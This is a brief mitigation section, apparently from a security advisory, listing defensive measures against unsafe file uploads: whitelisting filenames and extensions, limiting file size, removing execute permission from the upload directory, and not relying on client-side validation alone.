Mitigation:

It is recommended to implement the following:

  • Never accept a filename and its extension directly without having a white-list filter.
  • If there is no need to have Unicode characters, it is highly recommended to only accept alpha-numeric characters and only one dot as an input for the file name and the extension.
  • Limit the file size to a maximum value in order to prevent denial of service attacks.
  • Uploaded directory should not have any "execute" permission.
  • Don't rely on client-side validation only.
